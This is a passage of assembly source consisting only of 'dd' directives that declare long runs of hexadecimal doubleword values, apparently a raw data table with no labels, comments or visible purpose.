		dd 0B31C237Ch, 7EEDA731h, 0F76E03F7h, 0FED07AB2h, 710044AFh
		dd 74F8E813h, 12B1FA52h, 0C1CE5542h, 0C46E69DCh, 0AB022473h
		dd 2DD10E3Bh, 109CC839h, 76B10917h, 74407195h, 6C00AE7Fh
		dd 0F4182582h, 58E326A9h, 9C00C06Ah, 0BDA5CD9Ah, 86034761h
		dd 1592CBC8h, 0D2DAB8E5h, 0F8A41E6Bh, 61EB00B6h, 0CF897EE0h
		dd 57876603h, 0D1B13025h, 3820841Eh, 0FC707C0h,	0E02EBE33h
		dd 6066A02Ah, 0B0499B13h, 9E818F00h, 24A2C5Eh, 6D20D3F3h
		dd 0C8433148h, 0C84B10B1h, 0D9FA7844h, 56F42B01h, 0DB639754h
		dd 0FAB15C0h, 0B9085A23h, 4255C063h, 9DD46E0h, 5C78401h
		dd 4F73CB72h, 384CBFC0h, 4858CD5Ah, 0BD246200h,	0F4752DB2h
		dd 0DB073300h, 66DAD38Ah, 0F74B0045h, 64B4F571h, 0EC719BD0h
		dd 4661230Eh, 0B8D2404Eh, 390436h, 9ECD7638h, 30BBCFF9h
		dd 290732B0h, 2FD65ACBh, 6E67E600h, 5F573F8Dh, 0C8D8F500h
		dd 68E5FF12h, 22B32D03h, 4CFE4C9Eh, 500B810h, 0A064E85Ch
		dd 1601BEEDh, 66482DEFh, 80D0E589h, 0BFC80198h,	9F8C9B0Bh
		dd 3023D47Ah, 5EE01400h, 85BD746h, 0F5D900DDh, 4E3407C3h
		dd 4900B8EAh, 28B5EFCCh, 4DDCB2Fh, 59021651h, 25CF802Bh
		dd 0F807B975h, 0E090F501h, 0B58662A0h, 6D170091h, 23142027h
		dd 2904C213h, 82D3A0B2h, 0F60050B8h, 1DCFC85Eh,	58508FCDh
		dd 0D4010C89h, 5972B371h, 98603E09h, 52A30079h,	0ECD6CF21h
		dd 5F7C9568h, 873F2C00h, 0CCC9AE7Ch, 13CB00C3h,	8DD64862h
		dd 5B0FF436h, 0E9E1EC9Ah, 8C602015h, 7E3B61BAh,	1383B0C8h
		dd 447548A3h, 0B0889138h, 0C5021678h, 0C38C3F42h, 47586057h
		dd 0EB1200FAh, 0B6A0E6C0h, 2A038036h, 82B4E1D8h, 0A81BBBF9h
		dd 86A43Ch, 26886DBCh, 0D32B9FB3h, 0C3DC8B02h, 0E0F5E35Ch
		dd 1C87DBB0h, 8C89FCh, 6D8198EEh, 6600695Fh, 70329E6Eh
		dd 3FABB10Fh, 0DD80C796h, 9D523B17h, 7401C860h,	0EDFF778Ah
		dd 0A0D43170h, 0ADBE00FEh, 765DED8h, 9839B2FCh,	0F4239C67h
		dd 0AA3E2100h, 0E7AB22h, 456866ADh, 8E4B5FEAh, 0F0B0D24Bh
		dd 8B7200CAh, 0B4013389h, 3E0F5B11h, 40DF7E38h,	0BC628BCh
		dd 328209E3h, 340052DAh, 0AE64DB70h, 2DE6A500h,	976C8019h
		dd 0A048319Bh, 304CF8E4h, 0E3169098h, 0CC1E56FDh, 10571540h
		dd 90F0B9Fh, 5082C69Dh,	1F179901h, 1186E459h, 7B2F0102h
		dd 0A0EE6C88h, 0FE169BBCh, 68E60006h, 0ADE1893h, 41075598h
		dd 0C07567A4h, 7CA0D6C7h, 458C65Eh, 0DFD1991Dh,	1C888057h
		dd 3F00694Ah, 0FB0D3CAh, 0F88DBDAFh, 0A67A00A9h, 946C1DCDh
		dd 440086EFh, 0A09681F4h, 3EDFA1h, 0AD0CE3D5h, 4B64F708h
		dd 0AE908624h, 9FD2003Dh, 319DC4Eh, 34CF0E76h, 0B3A5B2FFh
		dd 37B48177h, 0CCD4F9D2h, 8E00C92Bh, 263B56B6h,	9CEF17h
		dd 6F5B922Ah, 6DDFA878h, 387FBC00h, 37E0CDF7h, 199701ACh
		dd 0FB43581Eh, 0F82CD874h, 0C1476513h, 1985CA0h, 7C08A468h
		dd 0EC706AB0h, 0ED01F02Ch, 37719B8Fh, 321830Dh,	4CCDDE8h
		dd 72FA4D79h, 8544C59Dh, 170830CAh, 913E65E8h, 0B684C25h
		dd 45350ADAh, 0F36D8330h, 1000F5C2h, 0DF4A4515h, 51DBD33h
		dd 0EF3C0C59h, 20FC877Ch, 0B65F04E6h, 4455210Fh, 67E587E2h
		dd 0E05EF7F1h, 95C3DCh,	0DA148E72h, 6C99D0C7h, 0E7C8AB00h
		dd 0A437D932h, 0B73D4C0Dh, 0FC9F9300h, 0E65C49D7h, 206B9725h
		dd 638EF858h, 0A18201ABh, 95264A44h, 0FAEEE00Fh, 5B202Ch
		dd 0A09D810Fh, 67C80AC3h, 0FD160497h, 0C05D32BBh, 6C962C6Ch
		dd 0A32FAD00h, 0E60EC2F6h, 908E00EFh, 16E1BA2Eh, 0D51FF182h
		dd 58B08095h, 1E7CF28h,	9EC513C1h, 0F4B482CBh, 300BD226h
		dd 60F98971h, 479F14h, 3E693AFEh, 0CCFD7F08h, 4CA3BC18h
		dd 488F3F1Eh, 0F400A272h, 1C8E8031h, 21F3557Ch,	37006E4Bh
		dd 702841F7h, 631009B6h, 958BEB9Ah, 0D4874C20h,	0BF00E83Eh
		dd 98615DACh, 0B70C43h,	64C17E04h, 0E0DE783Ch, 80C5173Ah
		dd 6901844Ch, 7E2BBBA4h, 0A0009F52h, 9CF639ABh,	5302971Eh
		dd 0A3F048A5h, 0C9D660CAh, 7A908559h, 3AD55A3Ah, 0AED00E77h
		dd 5321F8A6h, 392F60B8h, 45F619A9h, 409973Ah, 1779E29Fh
		dd 5767CACh, 53428054h,	0CC34022Dh, 660067CFh, 25AF8DF5h
		dd 7468F6E1h, 3CF86146h, 28959D03h, 29944DAh, 4979A58h
		dd 24802A53h, 70D5A4ADh, 0AE43180Ch, 1EC90854h,	98654D72h
		dd 0ED6C51EEh, 0A559E118h, 0D73AD0h, 3FD1D9F7h,	55BE9248h
		dd 80C8B538h, 0F3960F97h, 5C2C4A1Bh, 0FE0334D5h, 0E3136F44h
		dd 2B7263Ah, 6DAF5964h,	80E8D439h, 47F60276h, 0A7006F26h
		dd 0DE4D388Fh, 1FC80F5h, 454AA955h, 2BEC5B2Fh, 0AFA45C21h
		dd 0E657EA40h, 32A7EC74h, 3A20475Fh, 4F803CD6h,	0ECD4B37Fh
		dd 0ABD00037h, 44AEB55Fh, 0E63C5E60h, 3D2A83C9h, 0FC14BEB2h
		dd 0B3052CA9h, 0BC74CC48h, 7F301250h, 4944F4h, 141A64CAh
		dd 0A2B3D59Ch, 95E410C0h, 0A8E016h, 0B1B4F49Bh,	53FC9943h
		dd 8912B00h, 0A0154AC1h, 0EE6B0014h, 0C8E04B3Ah, 6A00AA96h
		dd 0C7B1D936h, 127D895Bh, 0A9075DE3h, 69CE010Ch, 5AAF0BFh
		dd 7D103BE4h, 657E0085h, 0F4CBCDB7h, 0A205A450h, 0E795A154h
		dd 809C18A8h, 608C2D9Eh, 66B5CFB1h, 296600CCh, 0ED7E643Bh
		dd 15249757h, 0B84048B1h, 6634554h, 6211EB3Ah, 0E49F199Ch
		dd 0D7D90044h, 17537604h, 0C100ECA0h, 0A9C75CDCh, 59FBCC4h
		dd 88A4CC01h, 9126C351h, 0DDF24100h, 3B454B8Dh,	3E2D0727h
		dd 47DF1DCh, 0E828FE6Ch, 1DEF00EEh, 821FC301h, 0E4008D6Dh
		dd 342C9D50h, 49ECAA4h,	0CCCF836Fh, 0F4AC95h, 0EC65C262h
		dd 3C3AFC78h, 92014FB5h, 0BBE05036h, 942E8BDh, 40719714h
		dd 9EE8EA04h, 0AB07E600h, 1EF66B59h, 2019C076h,	0F81D9378h
		dd 0C0B4021Dh, 2283EA40h, 70A443Fh, 0FC52F761h,	6015C0BBh
		dd 0B200AB47h, 0C69F3EE2h, 0D92883h, 0F3BEAD7Fh, 7471E565h
		dd 1E269D03h, 0EEECAC8h, 0A75F4038h, 9F8F5078h,	8291E618h
		dd 0E64A8A88h, 0A4A20342h, 1A8BB170h, 100505A3h, 0AA43E6FAh
		dd 0DB31404h, 0D9685A06h, 90991F00h, 0AC7334EDh, 192E635Ch
		dd 0F9EE826Fh, 5A1988D3h, 48861788h, 60AE9633h,	1A82670Ch
		dd 2751134h, 0A036C21Eh, 94A00376h, 0CAE7A7AAh,	48980800h
		dd 67DA7F40h, 0C80A5847h, 1C04007Eh, 0C4144131h, 0AB37A4D3h
		dd 0FFC0799Dh, 0F2556C97h, 0F4B73EE2h, 1A77B186h, 0CC05714Fh
		dd 2C11844Dh, 4686B804h, 414BC402h, 0B400E8BEh,	28D8432Fh
		dd 7E70C24h, 733B2BC9h,	42C7B7h, 0FF3AD6CFh, 0E908CD00h
		dd 0E34D24E7h, 152E3C73h, 16C70300h, 23B3DB2Ch,	41D73700h
		dd 96AF0629h, 1DBC0010h, 7344C8ECh, 9B60B117h, 0A4D1F779h
		dd 0EF1E1C29h, 37164C05h, 7265EE08h, 47C0E020h,	9603DAh
		dd 0F43AF9E5h, 47EB599Ah, 52822805h, 0E00006DBh, 1C0FB571h
		dd 0FFEE28B0h, 154100CCh
		dd 8A13E2EFh, 7A30CA57h, 83E9E804h, 444926Ah, 0A7A69022h
		dd 0B52880B9h, 0E30CEB33h, 202C235Bh, 59051D97h, 20CBD439h
		dd 19BA75E1h, 5BE7EC00h, 60ACA864h, 0EA5C0141h,	76FB44E9h
		dd 55099BC1h, 5C398021h, 0F02306F7h, 0D056F369h, 3F41DB05h
		dd 0D04075BFh, 38C21F11h, 0E4B503FCh, 0E525F29Ah, 87EC3AA7h
		dd 0E5C21737h, 23B43E88h, 0EE9F00F3h, 62612E9Ah, 6424251Ch
		dd 660686D7h, 1EF00EC6h, 17E1C31h, 0B16B5497h, 2D61809Ah
		dd 247C89CBh, 2F31068Ch, 0E9EC6325h, 0A63CC671h, 410800B6h
		dd 0DB8B979Eh, 0F0657716h, 7F9800F4h, 0A7E61C2Bh, 6B0555FEh
		dd 10234A06h, 42D18400h, 0D8180E84h, 77473080h,	0EED44303h
		dd 0C7BE8C83h, 317345C1h, 4EB7848h, 0DF1E3BA3h,	20F53204h
		dd 0BCA3E3D6h, 9B00BCB8h, 0C1C88E2h, 0C015BB54h, 0CB629868h
		dd 0E4AC2A08h, 0CF5C3C02h, 19FC2CEAh, 34251054h, 7FEA5Ch
		dd 0B46A865Bh, 0D6FA9C2Ah, 98A66B28h, 0E81CF629h, 312DC600h
		dd 57A71CFh, 6FE5E723h,	41600085h, 0A80DD0B2h, 33314214h
		dd 0F939009Ch, 0AF7FD805h, 18CC007Ah, 0F5F42F3Bh, 8162CDE4h
		dd 4826BF48h, 15F3308h,	844E1D18h, 0BD64ABFEh, 0CFCE00DAh
		dd 0B07BC993h, 9DF606EFh, 0A09F5BD6h, 396B2748h, 0D90C80ADh
		dd 471598ECh, 68BC0705h, 932AB3E7h, 0D0CC48E8h,	0B637E91Ch
		dd 13902002h, 0A3886517h, 796F4ECh, 0B6304E20h,	1DBE239Dh
		dd 0BB009973h, 52428161h, 34F60Ch, 654D8A21h, 0D0D8C844h
		dd 0E804BCA2h, 0A4C56716h, 6070081h, 88EBE84Ch,	0A302E8E1h
		dd 0B2A823C3h, 39386103h, 0D267F0h, 0E425C9C2h,	0FC35E8CAh
		dd 0B04CE671h, 720804C4h, 3487697Fh, 630F39C0h,	16F09A74h
		dd 0BF03F8h, 0EEC8E45Ch, 81E7E6FBh, 0CB56D239h,	8440024Dh
		dd 7A1E6A33h, 3CFA4C90h, 0F27BEA09h, 0CC4110A0h, 6058E51Ah
		dd 2B24C178h, 0A458E398h, 1BB61F34h, 0FD116390h, 0B62D4300h
		dd 6FC96907h, 0AC30EB00h, 0C188464Fh, 0BDC839E0h, 2E0E253Eh
		dd 87E50B59h, 0FB1DFBCBh, 89C729C0h, 2476718Fh,	32B007F3h
		dd 3130E680h, 43C4CAB6h, 40F54440h, 2EB62A44h, 861A0B8Ch
		dd 0AC2FAE8Dh, 0FFAC6474h, 0BDF1018Ch, 0B7E9D75h, 8A9082EFh
		dd 0C442B352h, 67B31D0h, 50ECB018h, 630A90F0h, 8062DF39h
		dd 0BD64D860h, 49B611Bh, 0DC167CDDh, 7A08C0C4h,	0A054374h
		dd 0E72AB01Eh, 0BE08C85Fh, 0C74E0026h, 0B93B85A5h, 0F297E619h
		dd 38203268h, 0CF028C15h, 0FF1E27A3h, 10EF1905h, 5A3E7DAh
		dd 8FFFF4E9h, 834C8762h, 70E8C53Ch, 0C974FA7Bh,	80B08E58h
		dd 0D0047716h, 269E2988h, 18FDD1C0h, 56860FFAh,	98C08134h
		dd 23A10191h, 0D9AEC817h, 8C8E8828h, 0BCDC2B48h, 15008CFDh
		dd 488F3FF3h, 20AB531h,	2351EFCBh, 47A25Fh, 6C60F5E4h
		dd 8CA8A7B1h, 3A001794h, 0ED0B466Fh, 4DD5A0Dh, 6A0AFEEAh
		dd 7F0C8116h, 0C0EB0264h, 0DF0E66BCh, 0C04CACE1h, 3841FD2Ch
		dd 1A0398B3h, 92FC2DC2h, 327116E5h, 5BD9C209h, 8BE0A06Eh
		dd 332378h, 695DF167h, 62F325B1h, 74B03F2Ch, 59B64C40h
		dd 6D4D00C1h, 0E3483E75h, 0D4983330h, 0A0B02118h, 4DE6E29h
		dd 70BF69D0h, 9ED4C322h, 71598118h, 7D288271h, 542C00A4h
		dd 0D1B73867h, 0B309440Fh, 761ADC0h, 4ABB0DCh, 40961E9Ch
		dd 0ED70B048h, 8969462h, 19C03918h, 56FC2EC2h, 26228025h
		dd 0C2133171h, 5804DCFBh, 60742DEh, 87EC24F7h, 0D27C9228h
		dd 74C0B6C2h, 6C4134F8h, 0B330D020h, 5C26018Ch,	181CEAD1h
		dd 3E278855h, 296E5C04h, 10B415F6h, 9DEC3AD7h, 87C76200h
		dd 8BAEE655h, 71177213h, 0CBF30421h, 8E908800h,	2D490C7Ah
		dd 664E8FDCh, 569655Ah,	0CAB8A789h, 8640C021h, 0DCA49170h
		dd 49EA4F0Eh, 31D3623Fh, 0A64C4B8Ah, 0E2801488h, 0CB80942Ah
		dd 1AA6C913h, 239C1948h, 0B62E0FE1h, 2240908Dh,	0E749C070h
		dd 401326B6h, 0F4578FBFh, 3028A2D4h, 682B838Eh,	0A01C43Ah
		dd 44274284h, 50FE7835h, 0B8400CB4h, 0F46179BDh, 223F8302h
		dd 0C080192Eh, 0A0FDAA6Ch, 547770F0h, 7837909Eh, 0E98F6F8Bh
		dd 0E0B4360Ah, 76706124h, 51219560h, 0BA8C96Dh,	83967E9Ch
		dd 0F2DB3800h, 0CA48E605h, 8C5ABC10h, 95B58000h, 0A9152984h
		dd 0AA718CBh, 0E77AA8D4h, 52EE923Eh, 0C03288A4h, 0FC33C21Ch
		dd 2A221D46h, 0C2143400h, 45D7BCADh, 0EB030527h, 1116E8Bh
		dd 5EB024A0h, 2C70AEE4h, 679DA861h, 5C63A98Fh, 10464349h
		dd 56447485h, 11822F60h, 1EA82417h, 0B8EC1847h,	0E3D2F831h
		dd 27535864h, 9439177Fh, 0A1482328h, 3E0C9701h,	0FFEBC800h
		dd 0E36F312Eh, 0A7B8132Fh, 0C108909Eh, 0B609FAD4h, 841482CEh
		dd 1B6033A4h, 0FC2334C2h, 38271115h, 8BC28733h,	0D08A3D5Eh
		dd 20603EE4h, 0FC1237C2h, 742CE4BDh, 0C2180038h, 1EB55A3Bh
		dd 19C420BFh, 0E4C0BB2Ah, 1232F39h, 1499FA25h, 0CE34D677h
		dd 0DB5848E6h, 8C28BC00h, 5D476000h, 5AA823E3h,	78A4B2F0h
		dd 1C835CB8h, 43793609h, 18323061h, 3AA308ECh, 0EFC4E71Eh
		dd 0A3E4DD40h, 0AD009662h, 9EE5C125h, 90F66376h, 203B48A8h
		dd 1A8B3D02h, 0F8590664h, 731828D9h, 0C8AD2907h, 2E91B0A7h
		dd 4C206B24h, 3A028C2Ch, 3CE9CD5Ch, 405C59FBh, 0B15C3223h
		dd 0BC2FC0D7h, 0D000EE23h, 0CAC73B5Eh, 96AD3CB4h, 6A02C4BEh
		dd 23F5A7C9h, 380B9450h, 0A493528Dh, 30CCB7F4h,	7BBE3336h
		dd 0C1809FF9h, 27136C52h, 34005670h, 0DCD7BD57h, 99A260B0h
		dd 1B133FCEh, 9247031Dh, 0C31A844Fh, 0A9E4E606h, 8C2C3926h
		dd 45BD093Dh, 64D12C17h, 23E83A90h, 1D9C04F5h, 0D8F8C12Eh
		dd 1C14369Ah, 0C0E6C7FEh, 43F4406Eh, 0CF507E9h,	77BDE481h
		dd 0B20952E1h, 18AC9BAh, 442CDA30h, 0C840CA15h,	839EC0F1h
		dd 8703C679h, 0B12A2DB8h, 392100EAh, 0ED741A66h, 131DCEFDh
		dd 4E00552Eh, 5CA530F5h, 4D71E17Ah, 0A726C02Ch,	0B0DC3811h
		dd 3A4B3C48h, 1F023A8h,	0A4C66528h, 2AA83035h, 1FD840h
		dd 0DE9D8E8Ah, 6B54A127h, 0B105DBECh, 0C5F3C6Ch, 86128416h
		dd 40EC449h, 3B602D60h,	0E923CC5Ch, 1591134h, 0E15C3302h
		dd 4F884E9h, 84A626h, 0A954978Ch, 0C8C25599h, 90470F00h
		dd 9C89277Fh, 0B07A34h,	86243626h, 2B6A8A20h, 0A4A1F400h
		dd 475B5CFCh, 3E9D33C2h, 0D3C2EC98h, 0CC13EC58h, 0F4CBCB6Ah
		dd 86C05688h, 261F6065h, 97F8A6B0h, 377C0436h, 89200B5Fh
		dd 64E028F8h, 0E9024F80h, 9F0666h, 0F032FE43h, 2DF50457h
		dd 86F016E0h, 40F6EB02h, 0C529AF9Eh, 80E2911Ch,	901AB62Dh
		dd 701743E3h, 0E64888h,	2D19D7B6h, 968866AAh, 0ED12C618h
		dd 5CACEB50h, 9A80E4BEh, 0B14FA69Eh, 1CB0E100h,	0A83331F0h
		dd 4BD0A4F6h, 5E49h, 0A373E467h, 0E0005BACh, 3E3139A5h
		dd 3AEF7B42h, 8197B9CFh, 0F6D0201Fh, 69C7731Bh,	208741FCh
		dd 0A680AEF9h, 0F8B10EE7h, 0FA14A11Ch, 30209434h, 29210FEDh
		dd 7F02BE4Dh, 0FC3FCC1Bh, 20A45027h, 880DF1B7h,	0AA906756h
		dd 45DE942Ch, 9602F6Ah,	0A86C9ECCh, 3802E746h, 0B901FB6h
		dd 4F608479h, 53CB631h,	2AC82554h, 0A73488D6h, 8130F15Ch
		dd 47EF5C0Bh, 6AD49805h, 669E8403h, 0E857A151h,	3FCF4Fh
		dd 17A04DB7h, 0AE592753h, 7C3B3E03h, 1833341Bh,	204E6C08h
		dd 59003F74h, 5B67BEDCh, 0F8BA82h, 0CF64B79Fh, 4DB3179Ah
		dd 0A797C600h, 36C14B16h
		dd 672E3B59h, 0C59FFA80h, 1C4824B5h, 77A028C0h,	3AC0B213h
		dd 9C87319Eh, 43127996h, 2000B471h, 7BB12B60h, 18F838F7h
		dd 0B8680F1Ah, 70243A9Eh, 570CF9A7h, 23798Dh, 0A978E3F1h
		dd 0B66771F8h, 4B097400h, 569D4627h, 0D728CE9Fh, 7137BC9Fh
		dd 0D86D80D0h, 0F7062CDCh, 0CEB87BDBh, 21686009h, 80DCD00Dh
		dd 6015D600h, 7636B1D8h, 55FA001Ah, 56333AA2h, 0D40E5F41h
		dd 80241020h, 0F7D36DF1h, 0B07B509Bh, 26048CD0h, 333EAF59h
		dd 73276762h, 35DF59D0h, 0AA370041h, 0EA9D775Ch, 393F8009h
		dd 22E48025h, 23789784h, 0A41E1FF3h, 0AA0D0045h, 3F14CE80h
		dd 47225E00h, 519E958Dh, 18C20512h, 409C5629h, 0F8B98094h
		dd 8C03272Ch, 5C1F7259h, 95A358h, 0F8B1E621h, 9B8B1EC1h
		dd 0AD54CF00h, 681D1245h, 8CF95464h, 7D07C4Dh, 2848FA1Bh
		dd 0B526CF84h, 0B31CF92Dh, 0A87076E3h, 17E311Fh, 3D72567Ch
		dd 8375DAF4h, 3428C018h, 60517F67h, 8201598Ch, 9800FA55h
		dd 0ED681870h, 96B78h, 0E6AAD812h, 7E45C39Ah, 162E5D01h
		dd 504726B5h, 15AC0C20h, 0B8CA4F3Fh, 0B5592880h, 6891233Eh
		dd 599000CBh, 7DD1A55Fh, 0D6E8002Ch, 34E09FF3h,	42ECC1C9h
		dd 36AED40Fh, 0A4DCEE73h, 6482BC49h, 0B10F3020h, 119ED408h
		dd 40726412h, 8DB1275Ch, 5D2400D3h, 0B85A89D5h,	9E2AAF11h
		dd 4C00807Eh, 0D7950FD6h, 3C0FF3Eh, 147AABE5h, 0DBB8A47Eh
		dd 2735F64Dh, 3C07E882h, 5F300342h, 123155CEh, 436BEB4h
		dd 27DE08Ch, 4CB09FD8h,	0DCBD0E74h, 7CC8F813h, 34406464h
		dd 0A779DCD5h, 1503EA00h, 0E02458FAh, 509260F3h, 46195D2Fh
		dd 0DA1DE803h, 24936039h, 11303518h, 0F8B28028h, 8CC4272Bh
		dd 0DB9244h, 0DCD4F8AAh, 0E025FB77h, 7C9D7418h,	1526189h
		dd 6B4E7DF5h, 0DC36A3D1h, 38065EECh, 743A2898h,	0AFD35C29h
		dd 0C7BE3E01h, 60C5FBE1h, 0B900E092h, 0B7571C1Ah, 151B15CEh
		dd 84AD9FD9h, 0EDCD280h, 7B43CBF7h, 0F1C6622h, 0D640DCCAh
		dd 58C8D599h, 60D7181Ah, 8D1B483Eh, 0B4075E02h,	42888A83h
		dd 26800464h, 29F8F167h, 8B31D227h, 0F8ACD910h,	9E0A7875h
		dd 0A4708FF2h, 421ED400h, 12233B50h, 1D9AC89Bh,	997958ECh
		dd 1338B709h, 0A21B8097h, 75F2B864h, 0FAF3305Dh, 0A418D789h
		dd 18B1FCA1h, 12DC08BEh, 3370ABF8h, 2EDC00D6h, 3C27E9FBh
		dd 7850F2F4h, 1C8C246Ch, 5327F8AEh, 0DF1C3864h,	55F86601h
		dd 0B428AEC3h, 2E93CC22h, 682334h, 0B48CDA4Dh, 6204BEFCh
		dd 1E19EB27h, 132A84C6h, 0A84DA0h, 335E5BCh, 14169E7Ch
		dd 343AE37Ah, 1F007223h, 0C6594B5Ah, 545B0575h,	8125685Dh
		dd 9284DFA5h, 3001B5C8h, 1D65CAA0h, 53BDC834h, 0B201D80Eh
		dd 0EEA324BEh, 0A820A072h, 7AEA20h, 3F7DCEC6h, 689DCB27h
		dd 0F3F920C1h, 0D500732Eh, 90A8B93Eh, 0A905B6DEh, 9B56CE02h
		dd 0ADA6B040h, 6047FDB9h, 10E3D91Fh, 0AE006481h, 0BA258BD2h
		dd 76652FEFh, 247D29B5h, 3FC11F80h, 0F9A47B1Bh,	4EF8B5A0h
		dd 67119E60h, 0F52E27h,	6F7E15FFh, 0D828AAA5h, 603FAF2Ch
		dd 668465Eh, 0A25796DEh, 0CBF00B9h, 0A301E26Bh,	644CAF1Fh
		dd 147A22FCh, 541B0E7Ch, 745D3607h, 0B03AC9F7h,	97C43045h
		dd 566DF960h, 0E611F500h, 347860D5h, 0F3E1076Bh, 809B0328h
		dd 7E1C3220h, 81252235h, 318D6480h, 0C78F3996h,	303F9900h
		dd 769CE79Dh, 73FBB1C0h, 958BA36h, 4667720Bh, 0CC3A2C01h
		dd 84E4209Fh, 90E1E526h, 2A083164h, 2DF8B8C0h, 80944327h
		dd 18F8B0E5h, 1EAB00C6h, 3D0B45ACh, 775032E4h, 9079C888h
		dd 4009060Ah, 0BE80BC61h, 0CB05D0B3h, 43CA008Bh, 85F098C2h
		dd 1F4C292Fh, 9364888h,	394A5EB0h, 28738460h, 33096453h
		dd 2891C054h, 0BD118ACh, 0D3F70FDCh, 3000989Ch,	0EE0ADCC9h
		dd 54A352h, 1A429550h, 0AC0D4DD0h, 0DF24F776h, 2804A856h
		dd 0A0814CF2h, 1D00A46Fh, 3893C94Fh, 0B4592901h, 4F182B3Eh
		dd 7B217688h, 55350059h, 0C3C995AAh, 64150250h,	51A8A5F1h
		dd 6FCDB8h, 0C0A157E3h,	621B4A19h, 0D05BBAAEh, 0E05948C2h
		dd 3E220E0h, 0A32721E4h, 38031B86h, 0CB164E11h,	97B80265h
		dd 3020CE93h, 4D62C8E0h, 88839B88h, 0B25D8B5Ch,	68100774h
		dd 9F401F07h, 90902C0Ah, 0D53E010Ch, 0AFEFB2D9h, 93D0301Dh
		dd 0CB111894h, 0B2592B81h, 8BB3453Eh, 59766760h, 0F1E88820h
		dd 705654B4h, 0D36D0094h, 0CE08B727h, 8C480A48h, 182A0370h
		dd 187F07E9h, 31895788h, 4C009D2Fh, 7D9FC0F5h, 60E4866Fh
		dd 9984C0B6h, 0DC5C2A6Ch, 4D2616E0h, 92237C3Eh,	0B018CE00h
		dd 0FCFCEF26h, 16E300DFh, 6578961Ah, 1F505A9Ah,	0E1CB62B8h
		dd 0E8B71Dh, 8AAC743Bh,	7D05C541h, 0E3B30F5Dh, 30235C22h
		dd 27FEF8AFh, 225CB0D1h, 67E00798h, 0E088DEF8h,	0A5909182h
		dd 1991BA60h, 0B1356D0h, 0C31AF805h, 1BB1D0A3h,	7BB52DE0h
		dd 9B212C0Ch, 0E0D9D2h,	9A4032EBh, 0B55D2778h, 0FBF2FA05h
		dd 0ECC050B6h, 0C48A60Ah, 6C875F41h, 0FB132981h, 0A1201BFh
		dd 0F3245444h, 32DDF183h, 7AB021F8h, 11B49C41h,	70E9CF2Eh
		dd 1D4C11AEh, 0A9982090h, 0D5C70D01h, 3F4D664Bh, 18090C62h
		dd 9065D894h, 496064C4h, 1A05D38Dh, 79C6FC3Eh, 0FBFB40Bh
		dd 2D8031C4h, 219ED2B1h, 73221243h, 0B1255600h,	0F687349Bh
		dd 14B300D7h, 0AB96D139h, 6C022BAFh, 0D30E4755h, 0E0B44882h
		dd 0A8B454FBh, 0FF4B00F8h, 394D1814h, 709097DCh, 0D6001977h
		dd 206F709Dh, 71CB6A3h,	0AB36B8E1h, 0D883510Ah,	23086031h
		dd 5660E9FEh, 1CBD5E58h, 40B9003Fh, 0CFAEA5FBh,	3204F33Dh
		dd 783E9928h, 7B9C3891h, 0D36F8450h, 2F950757h,	6426C6h
		dd 0EA45340Fh, 0E848BE5Ch, 0BD008C74h, 0E6A9E28Ah, 24E4816Ah
		dd 403C3E36h, 4222831h,	5C846B00h, 338EDF0Ah, 0D7F2189Ch
		dd 0AB4EF87Ah, 8C361F05h, 0C8006F0Eh, 3E6E8BA0h, 0F5A40CC9h
		dd 2791F286h, 1D489B7Ch, 0B0838E50h, 102C9D00h,	0E1D31926h
		dd 0B3206761h, 28D994C1h, 6211204Fh, 0E03A9335h, 2A009523h
		dd 432C8C16h, 5C4494C1h, 0B6009446h, 0B11E450Ch, 0D50564C2h
		dd 3ED824AAh, 6DC868CBh, 90C655C3h, 4CB7452Eh, 0B62200A2h
		dd 470ECB0Ah, 0B382DC6Dh, 44C65834h, 41757D4h, 415B5617h
		dd 5EDC3678h, 0E763F83Eh, 0F546A628h, 0E6BA922Ch, 35421D01h
		dd 0A4D49816h, 0DA7065h, 6959EE19h, 0F0C1BA8Fh,	4CDEE900h
		dd 0AF3AAA6h, 0F65A00ADh, 16787446h, 1C1FE713h,	0AF0130FBh
		dd 9D250DBDh, 396B4CCh,	613E3C87h, 508FD731h, 7AC4B3A3h
		dd 0ADDE1300h, 0C57EE6E5h, 2D110048h, 0E061AAE3h, 9678819Ch
		dd 3B995Ch, 0A037D7BEh,	1FEC04CEh, 8F2A0ABAh, 9A415205h
		dd 0D8FC76DFh, 50C062CBh, 0B41D979Eh, 502000A2h, 8896BA5Bh
		dd 9200290Ah, 0C080CB34h, 76A312DCh, 7D2500D3h,	99F7BBD0h
		dd 0CC1A7590h, 0DE486384h, 3A126ABh, 0FD052E67h, 2A53CAB0h
		dd 8F413100h, 124B03C4h, 808C060Dh, 3864B327h, 0D2A39000h
		dd 0D04D29B8h, 4FFB01D4h, 6561B63Ah, 0CACC5124h, 0D79850E6h
		dd 38C0FF85h, 0AF254F5Bh, 0C4A41E0Ch, 0B73540E4h, 528F211Ch
		dd 375B100Ch, 404150h, 32F916E2h, 0CAD3AEBFh, 88B9600h
		dd 2C1A71E6h, 0E19F0037h, 2E04BE68h, 3202BC1Ch,	0C0E2FBF5h
		dd 0DA848047h, 989BAEh,	0C6F652D0h, 0E756C79Ah,	23D3BD00h
		dd 78A31DEAh, 5FF807B5h
		dd 36E5B1BCh, 973C1810h, 35A0041h, 2C787054h, 43FE07CEh
		dd 80A160D2h, 18D9CCCh,	0E47B3900h, 939D4D3Ah, 0B00800B9h
		dd 854E29F4h, 0C05842Ah, 9807522Bh, 63F72C0h, 0F8B87762h
		dd 0B76F1CBCh, 0E5AE0468h, 0AAC1FE7Ah, 0B2F421A4h, 0D74E00DCh
		dd 9CB161ABh, 94000526h, 0F4CCD834h, 50E5B8E2h,	2819A0AAh
		dd 984F49h, 0DBA53801h,	29BCD17Ah, 0FD1C2F00h, 940CC5FCh
		dd 73DCC006h, 5E9249Fh,	776A3Eh, 0EEB72137h, 1743493h
		dd 1E478728h, 0C946DEC6h, 0E000C3CFh, 2A0C0522h, 628F3Ah
		dd 7858CA80h, 91559A7Dh, 0C4927C12h, 909CD047h,	0A757A8B0h
		dd 0D8FB00ADh, 5C757EBCh, 29001761h, 0E7365AA1h, 22BA67Ah
		dd 55EBE882h, 0C440B107h, 6A0C765Ch, 0F13F7825h, 6F0A0ECh
		dd 75F61EA3h, 0B1294A0Dh, 257883FCh, 28000481h,	0BA239E69h
		dd 17FB42h, 2F409756h, 437D469Ah, 98392B03h, 4FAB1Eh, 0EE12B0B0h
		dd 92B8E3C2h, 0E74B48F6h, 0D0375843h, 0A44AE840h, 7A63F635h
		dd 0DD9B002Eh, 0F3D4D32Ch, 0F000A12h, 58AD2FAAh, 41C999h
